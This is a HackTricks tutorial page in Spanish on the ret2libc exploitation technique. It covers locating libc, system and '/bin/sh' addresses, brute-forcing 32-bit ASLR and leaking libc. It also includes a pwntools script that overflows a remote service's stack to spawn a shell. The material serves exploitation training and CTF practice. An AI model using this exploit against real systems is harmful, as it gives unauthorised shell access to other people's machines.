Ret2lib

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información Básica

La esencia de Ret2Libc es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, system, execve, strcpy) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga útil que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, mientras también organiza que cualquier argumento necesario esté configurado correctamente de acuerdo con la convención de llamada.

Pasos de Ejemplo (simplificados)

  • Obtener la dirección de la función a llamar (por ejemplo, system) y el comando a llamar (por ejemplo, /bin/sh)
  • Generar una cadena ROP para pasar el primer argumento apuntando a la cadena de comando y el flujo de ejecución a la función

Encontrando las direcciones

  • Suponiendo que la libc utilizada es la de la máquina actual, puedes encontrar dónde se cargará en memoria con:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si quieres verificar si el ASLR está cambiando la dirección de libc, puedes hacer:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Conocer la libc utilizada también permite encontrar el desplazamiento a la función system con:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Conocer la libc utilizada también permite encontrar el desplazamiento a la cadena /bin/sh función con:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Usando gdb-peda / GEF

Conociendo la libc utilizada, también es posible usar Peda o GEF para obtener la dirección de la función system, de la función exit y de la cadena /bin/sh :

p system
p exit
find "/bin/sh"

Usando /proc/<PID>/maps

Si el proceso está creando hijos cada vez que hablas con él (servidor de red), intenta leer ese archivo (probablemente necesitarás ser root).

Aquí puedes encontrar exactamente dónde se carga la libc dentro del proceso y dónde se va a cargar para cada hijo del proceso.

En este caso se carga en 0xb75dc000 (Esta será la dirección base de libc)

libc desconocida

Puede ser posible que no sepas qué libc está cargando el binario (porque podría estar ubicado en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para filtrar algunas direcciones y encontrar qué biblioteca libc se está utilizando:

Leaking libc address with ROP

Y puedes encontrar una plantilla de pwntools para esto en:

Leaking libc - template

Conocer libc con 2 offsets

Consulta la página https://libc.blukat.me/ y usa un par de direcciones de funciones dentro de la libc para averiguar la versión utilizada.

Bypass de ASLR en 32 bits

Estos ataques de fuerza bruta son solo útiles para sistemas de 32 bits.

  • Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Si atacas un servidor remoto, podrías intentar forzar la dirección de la función usleep de libc, pasando como argumento 10 (por ejemplo). Si en algún momento el servidor tarda 10s extra en responder, encontraste la dirección de esta función.

One Gadget

Ejecuta un shell saltando a una dirección específica en libc:

One Gadget

x86 Ret2lib Code Example

En este ejemplo, la fuerza bruta de ASLR está integrada en el código y el binario vulnerable se encuentra en un servidor remoto:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Código de Ejemplo

Consulta el ejemplo de:

ROP & JOP

ARM64 Ret2lib Ejemplo

En el caso de ARM64, la instrucción ret salta a donde apunta el registro x30 y no a donde apunta el registro de pila. Así que es un poco más complicado.

Además, en ARM64 una instrucción hace lo que la instrucción hace (no es posible saltar en medio de instrucciones y transformarlas en nuevas).

Consulta el ejemplo de:

Ret2lib + Printf leak - arm64

Ret-into-printf (o puts)

Esto permite filtrar información del proceso al llamar a printf/puts con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de puts en el GOT en una ejecución de puts filtrará la dirección de puts en memoria.

Ret2printf

Esto básicamente significa abusar de un Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de printf utilizando el ret2lib para llamar a printf con los valores para explotarlo (suena inútil pero es posible):

Format Strings

Otros Ejemplos y referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks